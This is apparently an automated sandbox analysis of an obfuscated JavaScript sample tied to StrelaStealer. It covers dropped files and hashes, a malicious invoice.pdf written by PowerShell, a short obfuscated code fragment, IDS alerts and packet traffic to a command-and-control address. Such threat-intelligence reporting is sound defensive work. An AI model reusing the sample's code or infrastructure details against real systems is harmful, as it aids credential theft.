Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\27875549-2d69-448f-8ab0-397f82ee2b9f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\650bcb49-f29b-46b6-9ef5-0eaa30260ff5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a339243e-1799-4531-b0e9-9fc1ed03bf59.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b4451c66-0dc2-4f95-b724-aadd004118de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16578), with CRLF line terminators
Entropy (8bit):	4.902595534001501
TrID:
File name:	1702927977169302141.js
File size:	20'119 bytes
MD5:	4ab501bc2944913b301f07cada32a97e
SHA1:	b0debfb109cf0020f97662fcd7bdec2494809d76
SHA256:	6c750ff42d5ef2607668917680629f0670dee405e2a6d4c83cb489131beb6d67
SHA512:	e08ca989645b20afc620d269bbd58bc04715d574972e1984677882f3e8cbaf5ed7796b3564be14113d84ca8179c2c5a41a0ddc3c5324b002d564ade8c3b30fcf
SSDEEP:	384:vmzKom+GmnAapyD9YYG2Rc5zQGF3UqVuPMN:vmzKom+GmnnyBvRchQQ3UcOMN
TLSH:	E192124EC7A6574B18FC19FC570A04F78A6809D8DB9028FD1CBB01C99A6D66DB6D20F4
File Content Preview:	function qzzuiq(){ufmkeyylw=[1031,3079,5127,4103,2055,3072];var parxos=this[xrkdkb+zndakpdzf+tgsvp+jqmayzk+vxlugnqwc+udhonwghi+bxpbu+fjemgowd](this[kouuvri+rmgbv+dfmwxcj+tgsvp+qquqlxlpo+xrkdkb+fjemgowd][zbjkfdqyu+tgsvp+vxlugnqwc+zndakpdzf+fjemgowd+vxlugnq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:56:19.886603+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49717	193.143.1.205	80	TCP
2025-01-11T06:56:19.886603+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49717	193.143.1.205	80	TCP
2025-01-11T06:56:22.673460+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49733	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:56:19.079438925 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.084316015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.084410906 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.087613106 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.092350960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886425972 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886440039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886451006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886502981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886517048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886557102 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886568069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886603117 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.886626959 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886641026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886651039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.886651993 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.886668921 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.886687994 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.891549110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.891561985 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.891572952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.891657114 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:19.949445009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.949460030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:19.949625015 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.003262043 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003276110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003345013 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.003479958 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003492117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003506899 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003518105 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.003562927 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.003999949 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004014015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004028082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004040003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004064083 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.004081964 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.004568100 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004579067 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004590988 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004604101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004614115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.004625082 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.004652023 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.005383968 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.005397081 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.005409956 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.005422115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.005443096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.005455971 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.005482912 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.006144047 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.006181002 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.006194115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.006258965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.078048944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.106983900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.107000113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.107009888 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.107189894 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.119992018 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120007038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120018005 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120063066 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120101929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120114088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120126009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120162964 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.120182037 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120194912 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120206118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120210886 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.120227098 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.120254993 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.120850086 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120887995 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120899916 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.120944023 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.121186972 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121234894 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.121268034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121279001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121294022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121304989 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121319056 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.121351004 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.121923923 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121937037 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121947050 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121958971 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121969938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121980906 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.121984005 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.121992111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122003078 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122009039 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122035980 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122047901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122720957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122740984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122752905 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122791052 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122874975 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122886896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122899055 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122910976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122916937 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122922897 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.122947931 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.122972012 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.123753071 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123766899 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123785973 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123795986 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123806000 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123809099 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.123819113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.123838902 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.123856068 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.164877892 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.164892912 CET	80	49717	193.143.1.205	192.168.2.10
